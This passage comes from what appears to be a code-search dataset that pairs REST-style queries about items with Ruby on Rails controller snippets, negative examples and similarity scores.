"def index\n @item_type = params[:type] = \"C\"\n \n params[:id] = nil\n \n # 찜한 상품, 콜렉션\n @collections = Collection.itemList(params)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @collections }\n end\n \n end",
"def item_show\n @item = Item.find(params[:id])\n end",
"def show\n @itemstatus = Itemstatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemstatus }\n end\n end",
"def get_items(product_id, params={})\n self.client.get(\"products/#{product_id}/items\", params)\n end",
"def items\n\t\tresponse = self.get('items').body\n\t\titems = JSON.parse(response)\n\t\tparse_items(items)\n\t\treturn items\n\tend",
"def index\n if params[:cart_id]\n get_cart\n @items = Item.where(cart: @cart)\n elsif params[:order_id]\n get_order\n @items = Item.where(order: @order)\n end\n render json: @items, status: 200\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end"
] |
[
"0.7736526",
"0.7547988",
"0.74948645",
"0.73696035",
"0.7328169",
"0.7293223",
"0.7287578",
"0.71326286",
"0.71247333",
"0.71196556",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.7069195",
"0.7047763",
"0.7046805",
"0.7046805",
"0.7046805",
"0.7046805",
"0.7021193",
"0.70065445",
"0.6999912",
"0.6968592",
"0.69090354",
"0.6904139",
"0.69028735",
"0.6859605",
"0.6838115",
"0.68371415",
"0.6817121",
"0.6791983",
"0.67502666",
"0.6706858",
"0.6694071",
"0.6665942",
"0.66478753",
"0.6639059",
"0.66362274",
"0.66218555",
"0.66078925",
"0.6603567",
"0.65953285",
"0.65745777",
"0.6563656",
"0.6563601",
"0.6562375",
"0.6562375",
"0.6558979",
"0.6553609",
"0.6543294",
"0.6532621",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6525101",
"0.65117115",
"0.65114903",
"0.6499088",
"0.6492242",
"0.6478985",
"0.6478985",
"0.6470336",
"0.646914",
"0.64681506",
"0.64497066",
"0.6449235",
"0.64342886",
"0.643418",
"0.6431615",
"0.6423981",
"0.6418225",
"0.64176244",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651"
] |
0.0
|
-1
|
POST /items POST /items.json params: file, username, tag_name, alternative_name, description
|
def create
upload_item params[params[:item_type]], session['username'], params[:alternative_name], params[:tag_name], params[:item_type], params[:details]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n puts params\n item_data = {\n :title => params[:title],\n :description => params[:description]\n }\n @item = current_user.items.build(item_data)\n if params[:attachments]\n params[:attachments].each do |att_id|\n @att = Attachment.find(att_id)\n @item.attachments.push(@att)\n if @att.att_type == 'photo'\n @item.photos.build(\n photo_url: @att.url\n )\n end\n end\n end\n if @item.save\n respond_to do |format|\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create item\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:name, :tag_list, :type_list, :description)\n end",
"def item_params\n params.require(:item).permit(:name, :price, :quantity, :description, :image, :tag_list)\n end",
"def item_params\n params.require(:item).permit(:description, :image)\n end",
"def create\n item = list.items.create!(item_params)\n render json: item, status: 201\n end",
"def create\n @item = Item.new(params.require(:item).permit(:name, :description, :image_tag))\n if @item.save\n flash[:notice] = \"아이템이 등록되었습니다\"\n redirect_to items_path\n else\n render 'new'\n end\n end",
"def item_params\n params.require(:item).permit(:filename, :name, :item_type, :owner_id, :on_sale, :purchased, :stock, :specs, :price, :comment_id)\n end",
"def item_params\n params.require(:item).permit(:name, :price, :date, :user_id, :group_id, :item_type, { tag_ids: [] })\n end",
"def item_params\n params.require(:item).permit(:name, :image_url)\n end",
"def tag_item_params\n params.require(:tag_item).permit(:tag, :item, :user_id)\n end",
"def item_params\n params.require(:item).permit(:name, :description, :price, :quantity, :user_id, :search, images: [])\n end",
"def item_params\n params.require(:item).permit(:item_name, :image,:avatar,:description)\n end",
"def create\n @tag_item = TagItem.new(tag_item_params)\n\n if @tag_item.save\n render :show, status: :created, location: @tag_item\n else\n render json: @tag_item.errors, status: :unprocessable_entity\n end\n end",
"def item_params\n params.require(:item).permit(:item, :body)\n end",
"def create\n params[:file_item][:parent_id] = nil if params[:file_item][:parent_id].blank?\n @file_item = FileItem.cs(self.current_scope).new(params[:file_item])\n\n respond_to do |format|\n if @file_item.save\n format.html { redirect_to @file_item, :notice => 'File item was successfully created.' }\n format.json { render :json => @file_item, :status => :created, :location => @file_item }\n else\n format.html { render :action => \"new_#{@file_item.item_type}\" }\n format.json { render :json => @file_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @tagged_item = TaggedItem.new(params[:tagged_item])\n\n respond_to do |format|\n if @tagged_item.save\n format.html { redirect_to @tagged_item, notice: 'Tagged item was successfully created.' }\n format.json { render json: @tagged_item, status: :created, location: @tagged_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tagged_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_item(set_albumName, userfile_name, params = {})\n params = { :cmd => 'add-item', :set_albumName => set_albumName, :userfile_name => userfile_name }.merge(params)\n send_request(params)\n end",
"def post_file_params\n params.require(:post_file).permit(:name, :item, :type, :image_dimensions,\n :remove_item, :item_cache)\n end",
"def item_params\n params.require(:item).permit(:user_id, :name, :description, :price, :image, :version, :category)\n end",
"def item_params\n params.require(:item).permit(:name, :content, :price, :unit, :location, :rent, :avatar)\n end",
"def item_params\n params.require(:item).permit(:item_id, :name, :references, :year, :status, :lenght, :height, :width, :thickness, :aquisition_date, :outer_circumference, :inner_circumference, :weight, :conservation_state, :biography, :description, {mediafiles: []})\n end",
"def item_params\n params.require(:item).permit(:name, :category_id, :image)\n end",
"def writeItem(app, repo_url, item)\n headers = defaultHeaders(app[\"token\"])\n data = item.to_json\n response = HTTParty.post(repo_url,\n headers: headers,\n body: data)\n response\nend",
"def item_params\n params.require(:data).require(:attributes).permit(:link, tags: [])\n end",
"def item_params\n params.require(:item).permit(:name, :description, :specs, :vendor_id, :vpn, :bootsy_image_gallery_id, :tag_list, :msrp)\n end",
"def create\n @request_item = RequestItem.new(request_item_params)\n @request_item.item = Item.new(name: params[:request_item][:item][:name])\n\n if @request_item.save\n render json: @request_item \n else\n render json: @request_item.errors, status: :bad_request\n end\n end",
"def item_params\n params.require(:item).permit(:name, :description, :photo_id, :min_bid, :bid_increment, :final_bid, :category, :user_id)\n end",
"def create_item(user_id, data) \n data = data.just(SETTABLE_ITEM_FIELDS)\n data[:user_id] = user_id\n data[:title] ||= 'item'\n data[:price] ||= 5\n data[:price] = data[:price].to_i\n data[:slug] = get_unique_slug($items,:slug,data[:title])\n\n data[:imgs] = data[:imgs].to_a.map {|link| {link: link}}\n data[:videos] = data[:videos].to_a.map {|link| {link: link}}\n data[:status] = :pending\n item = $items.add(data)\nend",
"def item_params\n params.require(:item).permit(:title, :body)\n end",
"def item_params\n params[:item].permit(:iname, :iinfo, :ipictureurl)\n end",
"def create_item_with_http_info(item_request_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ItemsApi.create_item ...'\n end\n # verify the required parameter 'item_request_body' is set\n if @api_client.config.client_side_validation && item_request_body.nil?\n fail ArgumentError, \"Missing the required parameter 'item_request_body' when calling ItemsApi.create_item\"\n end\n # resource path\n local_var_path = '/items'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(item_request_body)\n\n # return_type\n return_type = opts[:debug_return_type] || 'SingleItem'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth', 'oAuth2ClientCredentials']\n\n new_options = opts.merge(\n :operation => :\"ItemsApi.create_item\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ItemsApi#create_item\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def item_params\n params.require(:item).permit(:title, :price, :category_id, :user, :tag_list,\n :photos_attributes => [:_photo])\n end",
"def item_params\n params.require(:item).permit(:name, :description, :url, :ref_url, :cover, :icon, :is_published, :category_id)\n end",
"def item_params\n params.require(:item).permit(:title, :description, :price, :stock, :user_id, :project_id, :picture)\n end",
"def upload(file)\n Item.create(:upload, :file => file)\n end",
"def item_params\n params.require(:item).permit(:name, :description, :img_link, :quantity)\n # params.require(:item).permit(:name)\n end",
"def create\n @item = current_user.items.create(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to [current_user, @item], notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n @item.pictures.build\n format.html { render action: 'new', :locals => {item:@item} }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = @package.items.new\n # bad code !!\n @item.name = params[:item][:name]\n @item.description = params[:item][:description]\n if params[:type] == \"text\"\n @item.item_type = 1\n @item.text_content = params[:item][:text_content]\n else\n if params[:item][:file].nil?\n flash[:notice] = \"Please select a file first!\"\n redirect_to new_package_item_path\n return\n else\n if params[:type] == \"file\"\n @item.item_type = 2\n else\n @item.item_type = 3\n end\n @item.file = params[:item][:file]\n @item.filename = params[:item][:file].original_filename\n @item.file_content_type = params[:item][:file].content_type\n end\n end\n #______________________\n if @package.custom_key\n @item.aes_key = params[:item][:aes_key]\n else\n @item.aes_key = Base64.decode64(@package.encrypted_key)\n end\n if @item.save\n flash[:notice] = \"Item was created successfuly !\"\n redirect_to package_path(@package)\n else\n #i = 0\n #@item.errors.full_messages.each do |message|\n # flash[\"error#{i}\"] = message\n # i+=1\n #end\n flash[:alert] = \"Item was created failed !\"\n render action: :new\n end\n # respond_with @package\n end",
"def create \n #whitelist params and save them to a variable \n item_params = params.require(:item).permit(:name, :category, :image, :price)\n #create a new item from 'item_params'\n @item = Item.new(item_params)\n #if item saves, render the new item in JSON\n if @item.save \n render json: @item\n end\n end",
"def item_params\n params.require(:item).permit(:description, :size, :color, :category, :image)\n end",
"def item_params\n params.require(:item).permit(:tagid, :rfid, :category_id, :sub_category_id, :weight, :description, :purchased_at_date, :vendor_id, :warranty_time, :lifetime_until, :serial, :sku, :price, :owner, :last_seen, :service_interval, :tagged, :status_id, :lup, :ancestry, :parent_id, :tag_list, :make, :model, :warranty_time, :life_time, :unit_id, :owner_id, :into_use, :ip, :inspection_interval, :item, :memo, :lup_inc, :search, :department_id, :user_id, :terminate_at_eol)\n end",
"def new_item_params\n params.require(:new_item).permit(:title, :content, :url, :description, :url, :url_to_image, :author)\n end",
"def item_params\n params.require(:item).permit(:title, :link, :content, :user_id)\n end",
"def item_params\n params.require(:item).permit(:number, :release_date, :name, :batch, :description, :style, :abv, :case_vol, :can_limit, :price, :price_four_pack, :additional, :canning_date, :canning_phrase, :label_inspiration, :instagram_url, :instagram_embed, :instagram_image, :release_date_difference_seconds, :company_id, hop_ids: [])\n end",
"def item_params\n params.require(:item).permit(:name, :description, :category_id, :price, :image)\n end",
"def create\n @item = current_user.items.build(item_params)\n\n\n respond_to do |format|\n if @item.save\n\n format.html { redirect_to edit_pics_path(:id => @item.id), notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:task, :list_id, :due_date, :is_complete, :item_image)\n end",
"def item_params\n params.require(:item).permit(:name, :price, :description, :avatar, :quantity, :category_id)\n end",
"def item_params\n params.require(:item).permit(:name, :description, :price, :picture, :foodtruck_id, :id)\n end",
"def create\n @item = current_owner.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_path, notice: 'Item was created successfully' }\n format.json { render :show, status: :created, location: items_path }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:title, :description, :price, :image_url)\n end",
"def item_params\n params.permit(:name, :quantity, :price, :remark,\n :user_id, :vendor, :features, pictures: [])\n end",
"def generic_item_params\n params.require(:generic_item).permit(:title, :subtitle, :creator)\n end",
"def item_params\n params.require(:item).permit(:title, :description, :price, :category, :availability, :user_id, :image, :item_id)\n end",
"def upload_item(item, file, parent = '0BxnZXCons72AYXZOTVVrdGk0bTg' )\n tmp_file = Tempfile.new('mendeley').tap do |f|\n f.binmode # must be in binary mode\n f.write file\n f.rewind\n end\n \n metadata = @drive.files.insert.request_schema.new({\n 'title' => item[:title],\n 'description' => item[:description],\n 'mimeType' => 'application/pdf',\n 'parents' => [{'id' => parent}]\n }) \n \n conn = Faraday.default_connection\n conn.options[:timeout] = 500 \n conn.options[:open_timeout] = 2 \n \n media = Google::APIClient::UploadIO.new(tmp_file, 'application/pdf') \n result = @client.execute(:api_method => @drive.files.insert,\n :parameters => { 'uploadType' => 'multipart', 'alt' => 'json' },\n :body_object => metadata,\n :media => media, \n :connection => conn\n )\n tmp_file.close!\n result.data\n end",
"def item_params\n params.require(:item).permit(:name, :type_id, :user_id)\n end",
"def item_params\n params.require(:item).permit(:price, :photo, :name, :currency, :description, :quantity_unit, :category_ids => [])\n end",
"def item_params\n params.require(:item).permit(:name)\n end",
"def item_params\n params.require(:item).permit(:name)\n end",
"def item_params\n params.require(:item).permit(:name, :value)\n end",
"def item_params\n params.require(:item).permit(:name, :ad_type, :description, :category_id, :price, :phone,\n :pictures_attributes => [:item_id, :path, :id, :_destroy])\n end",
"def create\n create_params = item_params\n item = Item.new(\n name: create_params[:name], \n is_complete: false, #create_params[:is_complete], \n list_id: create_params[:list_id])\n\n item.save!\n render json: item\n end",
"def create\n @item = Item.new(item_params)\n\n if @item.valid? && @item.photo?\n client = kaltura_setup\n entry_id = kaltura_upload(item_params[:barcode], item_params[:photo], client)\n @item.photo = entry_id\n end\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_url, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n if @item.photo != nil\n @item.photo = nil\n @item.errors[:photo] = \"Please select the image again\"\n end\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n item = Item.new(item_params)\n item.user = current_user\n if item.save\n render json: item\n else\n render json: {errors: item.errors}, status: :unprocessable_entity\n end\n end",
"def create\n \n #debug\n write_log(\n Const::SL::LOG_PATH_SL,\n \"items_controller#create(params[:item] => #{params[:item]})\",\n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n \n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = @client.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully added.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:external_id, :external_url, :image_url, :user_id, :title, :price, :location)\n end",
"def item_params\n params.require(:item).permit(\n :item_name, :item_description, :item_image_id, :item_qr, :item_price, :item_active,\n post_images_images: [],\n stock_attributes: [:id, :item_id, :stock_count],\n tags_attributes: [:id, :tag_name, :_destroy],\n tag_ids: [])\n # 複数画像を投稿できるように[]をつけている\n # フォームにhasoneのstockを含めている\n end",
"def item_params\n params.require(:item).permit(:description, :completed, :priority)\n end",
"def item_params\n\t \tparams.require(:item).permit(:name, :user_id)\n\tend",
"def upload_file(item_file)\n upload_response = @server.upload(item_file.file(item_file.metadata_full_path))\n json = JSON.parse(upload_response.body)\n json['files'].map { |f| f['id'] }\n end",
"def create\n @item = Item.new#(item_params)\n\n # jsonとして渡ってきたパラメターをパースして,新規作成したitemに設定\n @item.title = params['item']['title']\n @item.user_id = params['item']['user_id']\n @item.start = params['item']['start']\n @item.end = params['item']['end']\n @item.allDay = params['item']['all_day']\n\n # upload_file = image_params[:file]\n # image = {}\n # if upload_file != nil\n # image[:filename] = upload_file.original_filename\n # image[:file] = upload_file.read\n # end\n # @image = Image.new(image)\n # if @image.save\n # flash[:success] = \"画像を保存しました。\"\n # # redirect_to @image\n # else\n # flash[:error] = \"保存できませんでした。\"\n # end\n\n respond_to do |format|\n if @item.save\n # format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.html { redirect_to @item }\n format.json { render :show, status: :created, location: @item }\n #format.html { redirect_to edit_item_path(@item.id) }\n #format.json { redirect_to edit_item_path(@item.id) }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n puts 'FILE PARAMETERS ----'\n puts params[:file]\n puts params\n puts 'END PARAMS ---- '\n @medium = Medium.create_with_file_user_id_item_key_and_local_key(params[:file], params[:medium][:user_id], params[:medium][:item_local_key], params[:medium][:local_key])\n\n respond_to do |format|\n if @medium\n format.html { redirect_to @medium, notice: 'Medium was successfully created.' }\n format.json { render json: @medium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item\n else\n render json: { error: t('story_create_error') }, status: :unprocessable_entity\n end\n end",
"def create\n @item = Item.new(item_params)\n @item.image = Item.find(params[:image])\n\n respond_to do |format|\n if save_item(@item)\n format.html { redirect_to @item }\n format.json { render json: { ok: true, item: @item } }\n else\n format.html { render 'new' }\n format.json { render json: { ok: false, errors: @item.errors.full_messages } }\n end\n end\n\n end",
"def create_item()\n\n request_body = {\n 'name' => 'Milkshake',\n 'variations' => [\n {\n 'name' => 'Small',\n 'pricing_type' => 'FIXED_PRICING',\n 'price_money' => {\n 'currency_code' => 'USD',\n 'amount' => 400\n }\n }\n ]\n }\n\n response = Unirest.post CONNECT_HOST + '/v1/' + LOCATION_ID + '/items',\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully created item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item creation failed'\n puts response.body\n return nil\n end\nend",
"def create\n @tags = Tag.all\n @list_item = @list.list_items.new(list_item_params)\n\n respond_to do |format|\n if @list_item.save\n format.html { redirect_to list_path(@list), notice: 'List item was successfully created.' }\n format.json { render :show, status: :created, location: @list_item }\n else\n format.html { render :new }\n format.json { render json: @list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:name, :amount_at_a_time, :gram_at_a_time, :price_at_a_time, :price_at_one_amount, :price_at_one_gram, :description, :icon)\n end",
"def create\n @item = Item.new#(item_params)\n\n # upload_file = image_params[:file]\n # image = {}\n # if upload_file != nil\n # image[:filename] = upload_file.original_filename\n # image[:file] = upload_file.read\n # end\n # @image = Image.new(image)\n # if @image.save\n # flash[:success] = \"画像を保存しました。\"\n # # redirect_to @image\n # else\n # flash[:error] = \"保存できませんでした。\"\n # end\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = @user.items.build item_params.merge(private: true)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to private_items_user_path(@user), notice: t('.notice') }\n format.json { render :show, status: :created, location: @item }\n else\n @item.image = Image.new\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n @item.images.delete_all\n unless params.require(:item)[:images_id].nil?\n params.require(:item)[:images_id].each do |id|\n image = Image.find_by_id(id)\n (@item.images << image) unless image.nil?\n end\n end\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.permit(\n :title,\n :category,\n :detail_tags_1,\n :detail_tags_2,\n :detail_tags_3\n )\n end",
"def item_params\n params.require(:item).permit(:name, :description, :user_id, :create_by, :list_id, :priority, :duration, :repeat, :due, :active, :start)\n end",
"def item_params\n params.require(:item).permit(:name, :url, :price, :container)\n end",
"def item_create\n @brief = Brief.find(params[:brief_id])\n @brief_vendor = @brief.brief_vendors.find_by_org_id(@cur_user.org_id)\n invalid_op unless @brief_vendor\n @brief_vendor.items << Item.new(params[:item]){|r|r.kind = params[:kind]}\n redirect_to vendor_show_brief_path(@brief)\n end",
"def create\n @user = User.find(current_user.id)\n @item = @user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to '/items', notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:title, :description, :price, :image_url, :category)\n end",
"def item_params\n params.require(:item).permit(:description, :completed, :completed_at)\n end",
"def create\n @item = current_user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit!\n end",
"def create\n @item = Item.new(params[:item])\n @item.user = current_user\n @item.create_date = Time.local(params[:create_date][:year],params[:create_date][:month],params[:create_date][:day],12,15,1)\n @item.item_desc = params[:larrytext]\n if @item.save\n @item.tag_with_manually(params[:tag_list], current_user)\n flash[:notice] = 'Item ' + @item.number.to_s + ' was successfully created.'\n redirect_to :action => 'show', :number => @item.number\n else\n @tags_to_display = params[:tag_list]\n render :action => 'new'\n end\n end",
"def item_params\n params.require(:item).permit(:name, :description, :category_id, :brand_id, :price, :order, :image, :slug)\n end",
"def add_item\n #params[item_id]\n end",
"def magic_item_params\n params.require(:magic_item).permit(:name, :wondrous, :weight, :tier, :rarity, :attunement, :description)\n end",
"def item_params\n params.require(:item).permit(:price, :name, :image, :item_number, :cart_id, :description)\n end",
"def item_params\n params.require(:item).permit(:content)\n end",
"def create\n item = Item.new(item_params)\n item.done = \"0\"\n item.trash = \"0\"\n\n if item.save\n render json: {data:item}, status: :created\n else\n render json: {data:item}, status: :unprocessable_entity\n end\n end",
"def item_params\n params.require(:item).permit(:name, :place_id, :image, :image_cache, :price, :detail, :genre_id, :student_id, :department_id)\n end",
"def upload(local, remote)\n local = Pathname.new(local) unless local.kind_of? Pathname\n raise \"no file\" unless local.exist?\n\n # we assume these are small enough to slurp.\n script = local.read\n limitkeys = [:method, :path, :script, @itemkey]\n remote = remote.select{|k,v| limitkeys.include? k }\n remote[:script] = script\n# post('', remote)\n if remote.has_key? @itemkey then\n put('/' + remote[@itemkey], remote) do |request, http|\n response = http.request(request)\n case response\n when Net::HTTPSuccess\n #return JSON.parse(response.body)\n when Net::HTTPNotFound\n verbose \"\\tDoesn't exist, creating\"\n post('/', remote)\n else\n showHttpError(request, response)\n end\n end\n else\n verbose \"\\tNo itemkey, creating\"\n post('/', remote)\n end\n end",
"def items_import_params\n # params.require(:items_import).permit(:file_name, :uploaded_by, :uploaded_at, :status)\n params.fetch(:items_import, {}).permit(:file_name, :uploaded_by, :uploaded_at, :status, :file)\n end"
] |
[
"0.67809063",
"0.65340525",
"0.6451269",
"0.64463097",
"0.63846177",
"0.6358222",
"0.63508165",
"0.6335555",
"0.6293642",
"0.6290403",
"0.6283694",
"0.62766033",
"0.6261161",
"0.6250009",
"0.6243519",
"0.62391305",
"0.6228304",
"0.6227382",
"0.62034994",
"0.61987644",
"0.6175539",
"0.6146155",
"0.61394745",
"0.61270076",
"0.61113954",
"0.61104333",
"0.6109311",
"0.6095454",
"0.6081948",
"0.6075986",
"0.6058458",
"0.6058295",
"0.60435647",
"0.60434145",
"0.60198927",
"0.6017283",
"0.6013669",
"0.6008314",
"0.60027426",
"0.5996085",
"0.5993473",
"0.59933084",
"0.59728867",
"0.5964381",
"0.59637684",
"0.5962429",
"0.5958564",
"0.59535754",
"0.5953391",
"0.594717",
"0.5947024",
"0.59384865",
"0.5933247",
"0.59289193",
"0.59178996",
"0.5909931",
"0.59092855",
"0.59083885",
"0.5907615",
"0.5893028",
"0.58915895",
"0.5890104",
"0.58856314",
"0.58803767",
"0.5877052",
"0.587329",
"0.5867415",
"0.58672744",
"0.5864695",
"0.58623874",
"0.5860597",
"0.58502465",
"0.5850242",
"0.58393466",
"0.58282214",
"0.5825818",
"0.581634",
"0.5814109",
"0.5810728",
"0.5807708",
"0.58003384",
"0.5797111",
"0.57958084",
"0.57952523",
"0.57849896",
"0.5783539",
"0.5778065",
"0.57732683",
"0.5767556",
"0.5766772",
"0.5764767",
"0.5752657",
"0.5747442",
"0.57426363",
"0.5741025",
"0.57350844",
"0.57340896",
"0.57332546",
"0.57296205",
"0.5727926"
] |
0.7526805
|
0
|
PATCH/PUT /items/1 PATCH/PUT /items/1.json
|
def update
item = Item.find(params[:item_id])
item.name = params[:name]
item.details = params[:details]
item.save
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n\n if @api_v1_item.update(api_v1_item_params)\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end",
"def update\n\n #update the item of request_item\n if (params[:request_item].present?)\n @request_item.item = params[:request_item][:item].present? ? Item.new(name: params[:request_item][:item][:name]) : @request_item.item\n end\n #update all other parameters\n if @request_item.update(request_item_params)\n render json: @request_item\n else\n render json: @request_item.errors, status: :bad_request\n end\n\n end",
"def update\n if @item.update_attributes(item_params)\n render json: @item, status: :ok\n else\n render_error(@item, :unprocessable_entity)\n end\n end",
"def update\n if @item.update(item_params)\n render json: @item, status: :ok\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end",
"def update\n @item = @client.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Rails.logger.debug params.inspect\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n respond_with(@items)\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n @item.update_attributes(params[:item])\n respond_with @item\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to items_path, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @items = args[:items] if args.key?(:items)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"def update!(**args)\n @items = args[:items] if args.key?(:items)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to '/items', notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
